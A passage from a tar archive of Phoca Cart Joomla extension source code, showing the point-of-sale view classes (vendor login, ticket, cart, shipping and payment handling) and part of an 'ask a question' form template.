'sku', '', 'string' );//sku, ean, isbn, jan,
...
$this->t['card'] = $app->input->get(
'card', '', 'string' );// loyalty customer
card
$this->t['page'] = $app->input->get(
'page', 'main.content.products', 'string' );
$this->t['category'] =
$app->input->get('category', '',
'string');// list of active categories
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute(0));
$this->t['limitstarturl'] =
$this->t['limitstart'] > 0 ?
'&start='.$this->t['limitstart'] :
'';
$this->t['currency_array'] =
PhocacartCurrency::getCurrenciesArray();
$this->t['price'] = new PhocacartPrice();
$this->t['categoryarray'] = explode(',',
$this->t['category']);
$this->t['ajax'] = 0;
$this->t['shippingedit'] = 0;
$this->t['paymentedit'] = 0;
$preferredSku = PhocacartPos::getPreferredSku();
$this->t['skutype'] = $preferredSku['name'];
$this->t['skutypetxt'] = $preferredSku['title'];
$this->t['user'] = array();
$this->t['vendor'] = array();
$this->t['ticket'] = array();
$this->t['unit'] = array();
$this->t['section'] = array();
$dUser = PhocacartUser::defineUser($this->t['user'],
$this->t['vendor'], $this->t['ticket'],
$this->t['unit'], $this->t['section']);
// 1) CHECK - VENDOR LOGGED IN
if (!isset($this->t['vendor']->id) ||
(isset($this->t['vendor']->id) &&
(int)$this->t['vendor']->id < 1 )) {
//$this->t['infotext'] =
JText::_('COM_PHOCACART_PLEASE_LOGIN_ACCESS_POS');
//$this->t['infotype'] = 'alert-error
alert-danger';
//parent::display('info');
$returnUrl =
'index.php?option=com_users&view=login&return='.$this->t['actionbase64'];
$app->redirect(JRoute::_($returnUrl, false),
JText::_('COM_PHOCACART_PLEASE_LOGIN_ACCESS_POS'));
return;
}
// PARAMS
$this->t['display_new'] = $this->p->get(
'display_new', 0 );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['image_width_cat'] = $this->p->get(
'image_width_cat', '' );
$this->t['image_height_cat'] = $this->p->get(
'image_height_cat', '' );
$this->t['columns_pos'] = $this->p->get(
'columns_pos', 6 );
$this->t['display_addtocart_icon'] = $this->p->get(
'display_addtocart_icon', 0 );
$this->t['category_addtocart'] = $this->p->get(
'category_addtocart', 1 );
$this->t['dynamic_change_image'] = $this->p->get(
'dynamic_change_image', 0);
$this->t['dynamic_change_price'] = $this->p->get(
'dynamic_change_price', 0 );
$this->t['dynamic_change_stock'] = $this->p->get(
'dynamic_change_stock', 0 );
$this->t['dynamic_change_id'] = $this->p->get(
'dynamic_change_id', 0 );
$this->t['display_price'] = true;//$this->p->get(
'hide_price', 0 );
$this->t['display_addtocart'] = true;//$this->p->get(
'hide_addtocart', 0 );
$this->t['can_display_price'] = true;
$this->t['hide_add_to_cart_stock'] = $this->p->get(
'hide_add_to_cart_stock', 0 );
$this->t['display_star_rating'] = $this->p->get(
'display_star_rating', 0 );
$this->t['add_cart_method'] = $this->p->get(
'add_cart_method', 0 );
$this->t['pos_hide_attributes'] = $this->p->get(
'pos_hide_attributes', 1 );
$this->t['pos_display_stock_status']= $this->p->get(
'pos_display_stock_status', 0 );
$this->t['pos_payment_force'] = $this->p->get(
'pos_payment_force', 0 );
$this->t['pos_shipping_force'] = $this->p->get(
'pos_shipping_force', 0 );
$this->t['pos_input_autocomplete'] = $this->p->get(
'pos_input_autocomplete', 0 );
$this->t['pos_sku_input_type'] = $this->p->get(
'pos_sku_input_type', 'text' );
$this->t['pos_input_type'] = $this->p->get(
'pos_input_type', 'text' );
$this->t['display_shipping_desc'] = $this->p->get(
'display_shipping_desc', 0 );
$this->t['display_payment_desc'] = $this->p->get(
'display_payment_desc', 0 );
$this->t['zero_shipping_price'] = $this->p->get(
'zero_shipping_price', 1 );
$this->t['zero_payment_price'] = $this->p->get(
'zero_payment_price', 1 );
$this->t['zero_attribute_price'] =
$this->p->get( 'zero_attribute_price', 1 );
$this->t['enable_coupons'] = $this->p->get(
'enable_coupons', 2 );
$this->t['enable_rewards'] = $this->p->get(
'enable_rewards', 1 );
$this->t['display_view_product_button'] =
$this->p->get( 'display_view_product_button', 1 );
$this->t['product_name_link'] = $this->p->get(
'product_name_link', 0 );
$this->t['switch_image_category_items'] =
$this->p->get( 'switch_image_category_items', 0 );
$this->t['pos_loyalty_card_number_input_type'] =
$this->p->get( 'pos_loyalty_card_number_input_type',
'text' );
$this->t['lazy_load_category_items'] = $this->p->get(
'lazy_load_category_items', 0 );
$this->t['medium_image_width'] = $this->p->get(
'medium_image_width', 300 );
$this->t['medium_image_height'] = $this->p->get(
'medium_image_height', 200 );
$this->t['display_webp_images'] = $this->p->get(
'display_webp_images', 0 );
$this->t['pos_input_autocomplete_output'] = '';
if ($this->t['pos_input_autocomplete'] == 0) {
$this->t['pos_input_autocomplete_output'] = '
autocomplete="off" ';
}
if ((int)$this->t['pos_payment_force'] > 0) {
$this->t['pos_payment_force'] =
PhocacartPayment::isPaymentMethodActive($this->t['pos_payment_force'])
=== true ? (int)$this->t['pos_payment_force'] : 0;
}
if ((int)$this->t['pos_shipping_force'] > 0) {
$this->t['pos_shipping_force'] =
PhocacartShipping::isShippingMethodActive($this->t['pos_shipping_force'])
=== true ? (int)$this->t['pos_shipping_force'] : 0;
}
// CATEGORIES
$this->t['categories'] =
PhocacartCategoryMultiple::getAllCategories(1, array(0,2));
// LAYOUT
PhocacartPos::renderPosPage();// render the page (boxes)
// MEDIA
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadBootstrap();
$media->loadChosen();
//$this->t['class-row-flex'] =
$media->loadEqualHeights();
$this->t['class_thumbnail'] = 'ph-pos-thumbnail';
PhocacartRenderJs::renderAjaxAddToCart();
PhocacartRenderJs::renderAjaxUpdateCart();
// Moved to JS
PhocacartRenderJs::renderSubmitPaginationTopForm($this->t['action'],
'#phPosContentBox');
//- PhocacartRenderJspos::managePos($this->t['action']);
//- PhocacartRenderJspos::printPos(JRoute::_(
'index.php?option=com_phocacart&view=order&tmpl=component&format=raw'));
//- PhocacartRenderJspos::searchPosByType('#phPosSearch');
//- PhocacartRenderJspos::searchPosByCategory();
// Tendered
//$currency = PhocacartCurrency::getCurrency(); - loaded before filter
//PhocacartRenderJs::getPriceFormatJavascript($currency->price_decimals,
$currency->price_dec_symbol, $currency->price_thousands_sep,
$currency->price_currency_symbol, $currency->price_prefix,
$currency->price_suffix, $currency->price_format);
$media->loadPhocaAttribute(1);
if ($this->t['pos_hide_attributes'] == 0) {
$media->loadPhocaAttributeRequired(1); // Some of the attribute can
be required and can be a image checkbox
}
/*if ($this->t['dynamic_change_price'] == 1) {
// items == category -> this is why items has class:
ph-category-price-box (to have the same styling)
PhocacartRenderJs::renderAjaxChangeProductPriceByOptions(0,
'Pos', 'ph-category-price-box');// We need to load it
here
}
if ($this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductStockByOptions(0,
'Pos', 'ph-item-stock-box');
}*/
/*if ($this->t['dynamic_change_id'] == 1 ||
$this->t['dynamic_change_price'] == 1 ||
$this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductDataByOptions(0,
'Pos', 'ph-item-data-box');
}*/
// 2) CHECK TICKET
if ((int)$this->t['ticket']->id < 1) {
$this->t['infotext'] =
JText::_('COM_PHOCACART_TICKET_DOES_NOT_EXIST');
$this->t['infotype'] = 'alert-error
alert-danger';
parent::display('info');
return true;
}
// 3) CHECK - SECTION EXISTS (if the asked not found, set the first
existing)
if (isset($this->t['section']->id)) {
// Set in PhocacartUser::defineUser() ->
PhocacartTicket::getTicket()
} else {
$this->t['section']->id = 0;
}
// 4) CHECK - UNIT EXISTS (if the asked not found, set the first existing
but by the section
if (isset($this->t['unit']->id)) {
// Set in PhocacartUser::defineUser() ->
PhocacartTicket::getTicket()
} else {
$this->t['unit']->id = 0;
}
$this->t['linkpos'] =
JRoute::_(PhocacartRoute::getPosRoute($this->t['ticket']->id,
$this->t['unit']->id,
$this->t['section']->id));
// 5) CHECK - USER
$this->t['userexists'] = false;
$this->t['anonymoususerexists'] = false;
if (isset($this->t['user']->id) &&
(int)$this->t['user']->id &&
isset($this->t['user']->name)) {
$this->t['userexists'] = true;
} else {
// Try to find anonymous user (only loyalty card number added - which is
not stored in our database
// such can be used for different features without having it stored in
our database
$this->t['loyalty_card_number'] =
PhocacartPos::getCardByVendorAndTicket($this->t['vendor']->id,
$this->t['ticket']->id,
$this->t['unit']->id,
$this->t['section']->id, 0);
if ($this->t['loyalty_card_number'] != '') {
$this->t['anonymoususerexists'] = true;
}
}
$this->t['shippingmethodexists'] = false;
$this->t['paymentmethodexists'] = false;
// CART
$this->cart = new PhocacartCartRendercheckout();
$this->cart->setType(array(0,2));
$this->cart->setFullItems();
$this->t['shippingid'] =
$this->cart->getShippingId();
if (isset($this->t['shippingid']) &&
(int)$this->t['shippingid'] > 0 &&
$this->t['shippingedit'] == 0) {
$this->cart->addShippingCosts($this->t['shippingid']);
$this->t['shippingmethodexists'] = true;
}
$this->t['paymentid'] = $this->cart->getPaymentId();
if (isset($this->t['paymentid']) &&
(int)$this->t['paymentid'] > 0 &&
$this->t['paymentedit'] == 0) {
$this->cart->addPaymentCosts($this->t['paymentid']);//
validity of payment will be checked
$this->t['paymentmethodexists'] = true;
}
$this->cart->roundTotalAmount();
$this->t['total'] = $this->cart->getTotal();
//$this->t['paymentexists'] = false;
//$this->t['plugin-pdf'] =
PhocacartUtilsExtension::getExtensionInfo('phocacart',
'plugin', 'phocapdf');
//$this->t['component-pdf'] =
PhocacartUtilsExtension::getExtensionInfo('com_phocapdf');
$this->items =
$model->getItemList($this->t['user']->id,
$this->t['vendor']->id,
$this->t['ticket']->id,
$this->t['unit']->id,
$this->t['section']->id);
$this->t['pagination'] = $model->getPagination();
$this->t['ordering'] = $model->getOrdering();
$this->_prepareDocument();
$this->t['pathcat'] =
PhocacartPath::getPath('categoryimage');
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
switch ($this->t['page']) {
case 'section':
// Prepare units (in fact we asked for tickets because of ticket
information
// and we need to sort them to units
$sortedItems = array();
if (!empty($this->items)) {
foreach($this->items as $k => $v) {
$id = $v->id;
$sortedItems[$id]['id'] = $v->id;
$sortedItems[$id]['user_id'] = $v->user_id;
$sortedItems[$id]['vendor_id'] = $v->vendor_id;
//$sortedItems[$id]['ticket_id'] = $v->ticket_id;
$sortedItems[$id]['unit_id'] = $v->unit_id;
$sortedItems[$id]['section_id'] = $v->section_id;
$sortedItems[$id]['title'] = $v->title;
$sortedItems[$id]['tickets'][$k]['cart']=
$v->cart;
$sortedItems[$id]['tickets'][$k]['id'] =
$v->ticket_id;
}
}
$this->items = $sortedItems;
// Change the url bar (only to not confuse when the ticketid will be
changed to existing from not existing)
$changeUrlParameter = array("sectionid" =>
(int)$this->t['section']->id);
if (!empty($changeUrlParameter)) {
$s[] = 'jQuery(document).ready(function(){';
foreach($changeUrlParameter as $k => $v) {
$s[] = ' phUpdateUrlParameter("'.$k.'",
'.(int)$v.');';
}
$s[] = '})';
$s[] = ' ';
JFactory::getDocument()->addScriptDeclaration(implode("\n",
$s));
}
parent::display('section');
break;
default:
// Scroll cart to bottom
/* PhocacartRenderJspos::renderJsScrollToPos();
// Change the url bar (only to not confuse when the ticketid will be
changed to existing from not existing)
PhocacartRenderJspos::changeUrlParameter( array(
"ticketid" =>
(int)$this->t['ticket']->id,
"unitid" => (int)$this->t['unit']->id,
"sectionid" =>
(int)$this->t['section']->id));*/
// Change the url bar (only to not confuse when the ticketid will be
changed to existing from not existing)
$changeUrlParameter = array(
"ticketid" =>
(int)$this->t['ticket']->id,
"unitid" => (int)$this->t['unit']->id,
"sectionid" =>
(int)$this->t['section']->id);
if (!empty($changeUrlParameter)) {
$s[] = 'jQuery(document).ready(function(){';
foreach($changeUrlParameter as $k => $v) {
$s[] = ' phUpdateUrlParameter("'.$k.'",
'.(int)$v.');';
}
$s[] = '})';
$s[] = ' ';
JFactory::getDocument()->addScriptDeclaration(implode("\n",
$s));
}
parent::display($tpl);
break;
}
}
protected function _prepareDocument() {
$category = false;
if (isset($this->category[0]) &&
is_object($this->category[0])) {
$category = $this->category[0];
}
PhocacartRenderFront::prepareDocument($this->document, $this->p,
$category);
}
}
?>
pos/view.json.php000064400000001146151165727120010011 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );
class PhocaCartViewPos extends JViewLegacy
{
function display($tpl = null) {
// DEBUG
//debug_print_backtrace();
}
}
?>
pos/view.raw.php000064400000033136151165727120007635 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );
class PhocaCartViewPos extends JViewLegacy
{
protected $category;
protected $subcategories;
protected $items;
protected $t;
protected $r;
protected $p;
protected $s;
protected $cart;
function display($tpl = null) {
$app = JFactory::getApplication();
$document = JFactory::getDocument();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$model = $this->getModel();
$this->state = $this->get('State');
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
// INPUTS
$this->t['id'] = $app->input->get( 'id',
0, 'int' );
//$this->t['categoryid'] = $app->input->get(
'id', 0, 'int' );// optional
$this->t['limitstart'] = $app->input->get(
'limitstart', 0, 'int' );
$this->t['search'] = $app->input->get(
'search', '', 'string' );
$this->t['sku'] = $app->input->get(
'sku', '', 'string' );//sku, ean, isbn, jan,
...
$this->t['card'] = $app->input->get(
'card', '', 'string' );// loyalty customer
card
$this->t['page'] = $app->input->get(
'page', 'main.content.products', 'string' );
$this->t['category'] =
$app->input->get('category', '',
'string');// list of active categories
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute(0));
$this->t['limitstarturl'] =
$this->t['limitstart'] > 0 ?
'&start='.$this->t['limitstart'] :
'';
$this->t['currency_array'] =
PhocacartCurrency::getCurrenciesArray();
$this->t['price'] = new PhocacartPrice();
$this->t['categoryarray'] = explode(',',
$this->t['category']);
$this->t['ajax'] = 1;
$this->t['shippingedit'] = 0;
$this->t['paymentedit'] = 0;
$preferredSku = PhocacartPos::getPreferredSku();
$this->t['skutype'] = $preferredSku['name'];
$this->t['skutypetxt'] = $preferredSku['title'];
$this->t['user'] = array();
$this->t['vendor'] = array();
$this->t['ticket'] = array();
$this->t['unit'] = array();
$this->t['section'] = array();
$dUser = PhocacartUser::defineUser($this->t['user'],
$this->t['vendor'], $this->t['ticket'],
$this->t['unit'], $this->t['section']);
// 1) CHECK - VENDOR LOGGED IN
if (!isset($this->t['vendor']->id) ||
(isset($this->t['vendor']->id) &&
(int)$this->t['vendor']->id < 1 )) {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_PLEASE_LOGIN_ACCESS_POS').
'</div>';
exit;
}
// PARAMS
$this->t['display_new'] = $this->p->get(
'display_new', 0 );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['image_width_cat'] = $this->p->get(
'image_width_cat', '' );
$this->t['image_height_cat'] = $this->p->get(
'image_height_cat', '' );
$this->t['columns_pos'] = $this->p->get(
'columns_pos', 6 );
$this->t['display_addtocart_icon'] = $this->p->get(
'display_addtocart_icon', 0 );
$this->t['category_addtocart'] = $this->p->get(
'category_addtocart', 1 );
$this->t['dynamic_change_image'] = $this->p->get(
'dynamic_change_image', 0);
$this->t['dynamic_change_price'] = $this->p->get(
'dynamic_change_price', 0 );
$this->t['dynamic_change_stock'] = $this->p->get(
'dynamic_change_stock', 0 );
$this->t['display_price'] = true;//$this->p->get(
'hide_price', 0 );
$this->t['display_addtocart'] = true;//$this->p->get(
'hide_addtocart', 0 );
$this->t['can_display_price'] = true;
$this->t['hide_add_to_cart_stock'] = $this->p->get(
'hide_add_to_cart_stock', 0 );
$this->t['display_star_rating'] = $this->p->get(
'display_star_rating', 0 );
$this->t['add_cart_method'] = $this->p->get(
'add_cart_method', 0 );
$this->t['pos_hide_attributes'] = $this->p->get(
'pos_hide_attributes', 1 );
$this->t['pos_display_stock_status']= $this->p->get(
'pos_display_stock_status', 0 );
$this->t['pos_payment_force'] = $this->p->get(
'pos_payment_force', 0 );
$this->t['pos_shipping_force'] = $this->p->get(
'pos_shipping_force', 0 );
$this->t['pos_input_autocomplete'] = $this->p->get(
'pos_input_autocomplete', 0 );
$this->t['pos_sku_input_type'] = $this->p->get(
'pos_sku_input_type', 'text' );
$this->t['pos_input_type'] = $this->p->get(
'pos_input_type', 'text' );
$this->t['display_shipping_desc'] = $this->p->get(
'display_shipping_desc', 0 );
$this->t['display_payment_desc'] = $this->p->get(
'display_payment_desc', 0 );
$this->t['zero_shipping_price'] = $this->p->get(
'zero_shipping_price', 1 );
$this->t['zero_payment_price'] = $this->p->get(
'zero_payment_price', 1 );
$this->t['zero_attribute_price'] =
$this->p->get( 'zero_attribute_price', 1 );
$this->t['enable_coupons'] = $this->p->get(
'enable_coupons', 2 );
$this->t['enable_rewards'] = $this->p->get(
'enable_rewards', 1 );
$this->t['display_view_product_button'] =
$this->p->get( 'display_view_product_button', 1 );
$this->t['product_name_link'] = $this->p->get(
'product_name_link', 0 );
$this->t['switch_image_category_items'] =
$this->p->get( 'switch_image_category_items', 0 );
$this->t['pos_loyalty_card_number_input_type'] =
$this->p->get( 'pos_loyalty_card_number_input_type',
'text' );
$this->t['lazy_load_category_items'] = $this->p->get(
'lazy_load_category_items', 0 );
$this->t['medium_image_width'] = $this->p->get(
'medium_image_width', 300 );
$this->t['medium_image_height'] = $this->p->get(
'medium_image_height', 200 );
$this->t['display_webp_images'] = $this->p->get(
'display_webp_images', 0 );
$this->t['pos_input_autocomplete_output'] = '';
if ($this->t['pos_input_autocomplete'] == 0) {
$this->t['pos_input_autocomplete_output'] = '
autocomplete="off" ';
}
if ((int)$this->t['pos_payment_force'] > 0) {
$this->t['pos_payment_force'] =
PhocacartPayment::isPaymentMethodActive($this->t['pos_payment_force'])
=== true ? (int)$this->t['pos_payment_force'] : 0;
}
if ((int)$this->t['pos_shipping_force'] > 0) {
$this->t['pos_shipping_force'] =
PhocacartShipping::isShippingMethodActive($this->t['pos_shipping_force'])
=== true ? (int)$this->t['pos_shipping_force'] : 0;
}
// 2) CHECK TICKET
if ((int)$this->t['ticket']->id < 1) {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_TICKET_DOES_NOT_EXIST').
'</div>';
exit;
}
// 3) CHECK - SECTION EXISTS (if the asked not found, set the first
existing)
if (isset($this->t['section']->id)) {
// Set in PhocacartUser::defineUser() ->
PhocacartTicket::getTicket()
} else {
$this->t['section']->id = 0;
}
// 4) CHECK - UNIT EXISTS (if the asked not found, set the first existing
but by the section
if (isset($this->t['unit']->id)) {
// Set in PhocacartUser::defineUser() ->
PhocacartTicket::getTicket()
} else {
$this->t['unit']->id = 0;
}
$this->t['linkpos'] =
JRoute::_(PhocacartRoute::getPosRoute($this->t['ticket']->id,
$this->t['unit']->id,
$this->t['section']->id));
// 5) CHECK - USER
$this->t['userexists'] = false;
$this->t['anonymoususerexists'] = false;
if (isset($this->t['user']->id) &&
(int)$this->t['user']->id &&
isset($this->t['user']->name)) {
$this->t['userexists'] = true;
} else {
// Try to find anonymous user (only loyalty card number added - which is
not stored in our database
// such can be used for different features without having it stored in
our database
$this->t['loyalty_card_number'] =
PhocacartPos::getCardByVendorAndTicket($this->t['vendor']->id,
$this->t['ticket']->id,
$this->t['unit']->id,
$this->t['section']->id, 0);
if ($this->t['loyalty_card_number'] != '') {
$this->t['anonymoususerexists'] = true;
}
}
$this->t['shippingmethodexists'] = false;
$this->t['paymentmethodexists'] = false;
// CART
$this->cart = new PhocacartCartRendercheckout();
$this->cart->setType(array(0,2));
$this->cart->setFullItems();
$this->t['shippingid'] =
$this->cart->getShippingId();
if (isset($this->t['shippingid']) &&
(int)$this->t['shippingid'] > 0 &&
$this->t['shippingedit'] == 0) {
$this->cart->addShippingCosts($this->t['shippingid']);
$this->t['shippingmethodexists'] = true;
}
$this->t['paymentid'] = $this->cart->getPaymentId();
if (isset($this->t['paymentid']) &&
(int)$this->t['paymentid'] > 0 &&
$this->t['paymentedit'] == 0) {
$this->cart->addPaymentCosts($this->t['paymentid']);//
validity of payment will be checked
$this->t['paymentmethodexists'] = true;
}
$this->cart->roundTotalAmount();
$this->t['total'] = $this->cart->getTotal();
//$this->t['paymentexists'] = false;
//$this->t['plugin-pdf'] =
PhocacartUtilsExtension::getExtensionInfo('phocacart',
'plugin', 'phocapdf');
//$this->t['component-pdf'] =
PhocacartUtilsExtension::getExtensionInfo('com_phocapdf');
switch ($this->t['page']) {
case 'main.input':
parent::display('main_input');
break;
case 'main.content.customers':
$this->items =
$model->getItemList($this->t['user']->id,
$this->t['vendor']->id,
$this->t['ticket']->id,
$this->t['unit']->id,
$this->t['section']->id);
$this->t['pagination'] = $model->getPagination();
$this->t['ordering'] = $model->getOrdering();
parent::display('main_content_customers');
break;
case 'main.content.shippingmethods':
$shipping = new PhocacartShipping();
$shipping->setType(array(0,2));// 0 all, 1 online shop, 2 pos
$this->t['shippingmethods'] =
$shipping->checkAndGetShippingMethods(0,
$this->cart->getShippingId());
$this->t['shippingedit'] = 1;
parent::display('main_content_shipping_methods');
break;
case 'main.content.paymentmethods':
$payment = new PhocacartPayment();
$payment->setType(array(0,2));// 0 all, 1 online shop, 2 pos
$this->t['paymentmethods'] =
$payment->checkAndGetPaymentMethods(0,
$this->cart->getPaymentId());
$this->t['paymentedit'] = 1;
$this->t['couponcodevalue'] = '';
if ($this->cart->getCouponCode() != '') {
$this->t['couponcodevalue'] =
$this->cart->getCouponCode();
}
// REWARD POINTS
$reward = new PhocacartReward();
$this->t['rewards'] = array();
$this->t['rewards']['apply'] = false;
if ($this->t['enable_rewards']) {
if ($this->t['user']->id > 0) {
$this->t['rewards']['needed'] =
$this->cart->getRewardPointsNeeded();
$this->t['rewards']['usertotal'] =
$reward->getTotalPointsByUserId($this->t['user']->id);
$this->t['rewards']['usedvalue'] =
'';
if ($this->cart->getRewardPointsUsed() != ''
&& (int)$this->cart->getRewardPointsUsed() > 0) {
$this->t['rewards']['usedvalue'] =
$this->cart->getRewardPointsUsed();
}
if ($this->t['rewards']['usertotal'] > 0)
{
$this->t['rewards']['text'] =
'<small>('.JText::_('COM_PHOCACART_AVAILABLE_REWARD_POINTS').':
'.(int)$this->t['rewards']['usertotal'].',
'.JText::_('COM_PHOCACART_MAXIMUM_REWARD_POINTS_TO_USE').':
'.(int)$this->t['rewards']['needed'].')</small>';
$this->t['rewards']['apply'] = true;
}
}
}
parent::display('main_content_payment_methods');
break;
case 'main.content.payment':
parent::display('main_content_payment');
break;
case 'main.content.order':
parent::display('main_content_order');
break;
case 'main.content.orders':
$this->items =
$model->getItemList($this->t['user']->id,
$this->t['vendor']->id,
$this->t['ticket']->id,
$this->t['unit']->id,
$this->t['section']->id);
$this->t['pagination'] = $model->getPagination();
$this->t['ordering'] = $model->getOrdering();
$media = new PhocacartRenderMedia();
//$this->t['class-row-flex'] =
$media->loadEqualHeights();
$this->t['class_thumbnail'] =
'ph-pos-thumbnail';
parent::display('main_content_orders');
break;
case 'main.categories':
// CATEGORIES
$this->t['categories'] =
PhocacartCategoryMultiple::getAllCategories(1, array(0,2));
parent::display('main_categories');
break;
case 'main.content':
case 'main.content.products':
default:
$this->items = $model->getItemList();
$this->t['pagination'] = $model->getPagination();
$this->t['ordering'] = $model->getOrdering();
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute(0));
//$this->t['linkcomparison'] =
JRoute::_(PhocacartRoute::getComparisonRoute(0));
//$this->t['linkwishlist'] =
JRoute::_(PhocacartRoute::getWishListRoute(0));
//$this->t['limitstarturl'] =
$this->t['limitstart'] > 0 ?
'&start='.$this->t['limitstart'] :
'';
$this->t['pathcat'] =
PhocacartPath::getPath('categoryimage');
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
$media = new PhocacartRenderMedia();
//$this->t['class-row-flex'] =
$media->loadEqualHeights();
$this->t['class_thumbnail'] =
'ph-pos-thumbnail';
parent::display('main_content_products');
break;
}
}
}
?>
question/index.html000064400000000054151165727120010416
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>question/metadata.xml000064400000000334151165727120010724
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_ASK_QUESTION_GROUP">
<message><![CDATA[COM_PHOCACART_ASK_QUESTION_GROUP_DESC]]></message>
</view>
<view hidden="true" />
</metadata>question/tmpl/default.php000064400000013023151165727120011532
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutPC = new JLayoutFile('form_privacy_checkbox', null,
array('component' => 'com_phocacart'));
echo '<div id="ph-pc-question-box"
class="pc-question-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_ASK_A_QUESTION')));
if ( isset($this->item[0]->title) &&
$this->item[0]->title != '') {
echo
'<h2>'.$this->item[0]->title.'</h2>';
}
if (isset($this->item[0])) {
echo '<div
class="'.$this->s['c']['row'].'">';
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'">';
$x = $this->item[0];
$link = JRoute::_(PhocacartRoute::getItemRoute($x->id, $x->catid,
$x->alias, $x->catalias));
// IMAGE
echo '<div class="ph-item-image-full-box
ph-item-image-full-left-box">';
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$x->image, 'medium');
if (isset($image->rel) && $image->rel != '') {
echo '<a href="'.$link.'" >';
echo '<img
src="'.JURI::base(true).'/'.$image->rel.'"
alt=""
class="'.$this->s['c']['img-responsive'].'
img-thumbnail ph-image-full ph-img-block"';
if (isset($this->t['image_width']) &&
(int)$this->t['image_width'] > 0 &&
isset($this->t['image_height']) &&
(int)$this->t['image_height'] > 0) {
echo '
style="width:'.$this->t['image_width'].'px;height:'.$this->t['image_height'].'px"';
}
echo ' />';
echo '</a>';
}
echo '</div>';
echo '</div>'. "\n";
echo '</div>'. "\n";
}
$hiddenfield = ' <div
class="'.$this->s['c']['control-group'].'
'.$this->p->get('hidden_field_class').'">'.
' <div
class="'.$this->s['c']['controls'].'
input-prepend input-group">'.
' '.
$this->form->getInput($this->p->get('hidden_field_name'))
.
' </div>'.
' </div>';
if ( isset($this->t['question_description']) &&
$this->t['question_description'] != '') {
echo '<div class="ph-desc">'.
$this->t['question_description']. '</div>';
}
?>
<div> </div>
<div class="<?php echo
$this->s['c']['row'] ?>">
<div class="<?php echo
$this->s['c']['col.xs12.sm6.md6'] ?>">
<form action="<?php echo $this->t['action']
?>" method="post" name="adminForm"
id="adminForm" class="form-validate">
<div class="<?php echo
$this->s['c']['control-group'] ?>">
<div class="<?php echo
$this->s['c']['control-label']
?>"><?php echo $this->form->getLabel('name');
?></div>
<div class="<?php echo
$this->s['c']['controls'] ?>"><?php
echo $this->form->getInput('name');
if($this->p->get('hidden_field_position')==1){echo
$hiddenfield;} ?></div>
</div>
<div class="<?php echo
$this->s['c']['control-group'] ?>">
<div class="<?php echo
$this->s['c']['control-label']
?>"><?php echo
$this->form->getLabel('email'); ?></div>
<div class="<?php echo
$this->s['c']['controls'] ?>"><?php
echo $this->form->getInput('email');
if($this->p->get('hidden_field_position')==2){echo
$hiddenfield;} ?></div>
</div>
<div class="<?php echo
$this->s['c']['control-group'] ?>">
<div class="<?php echo
$this->s['c']['control-label']
?>"><?php echo
$this->form->getLabel('phone'); ?></div>
<div class="<?php echo
$this->s['c']['controls'] ?>"><?php
echo $this->form->getInput('phone');
if($this->p->get('hidden_field_position')==3){echo
$hiddenfield;} ?></div>
</div>
<div class="<?php echo
$this->s['c']['control-group'] ?>">
<div class="<?php echo
$this->s['c']['control-label']
?>"><?php echo
$this->form->getLabel('message'); ?></div>
<div class="<?php echo
$this->s['c']['controls'] ?>"><?php
echo $this->form->getInput('message');
if($this->p->get('hidden_field_position')==4){echo
$hiddenfield;} ?></div>
</div>
<div class="<?php echo
$this->s['c']['control-group'] ?>">
<div class="<?php echo
$this->s['c']['control-label']
?>"><?php echo
$this->form->getLabel('phq_captcha'); ?></div>
<div class="<?php echo
$this->s['c']['controls'] ?>"><?php
echo $this->form->getInput('phq_captcha');
?></div>
</div>
<?php
if ($this->t['display_question_privacy_checkbox'] > 0) {
$d = array();
$d['s'] = $this->s;
$d['label_text'] =
$this->t['question_privacy_checkbox_label_text'];
$d['id'] = 'phAskQuestionPrivacyCheckbox';
$d['name'] = 'privacy';
$d['class'] =
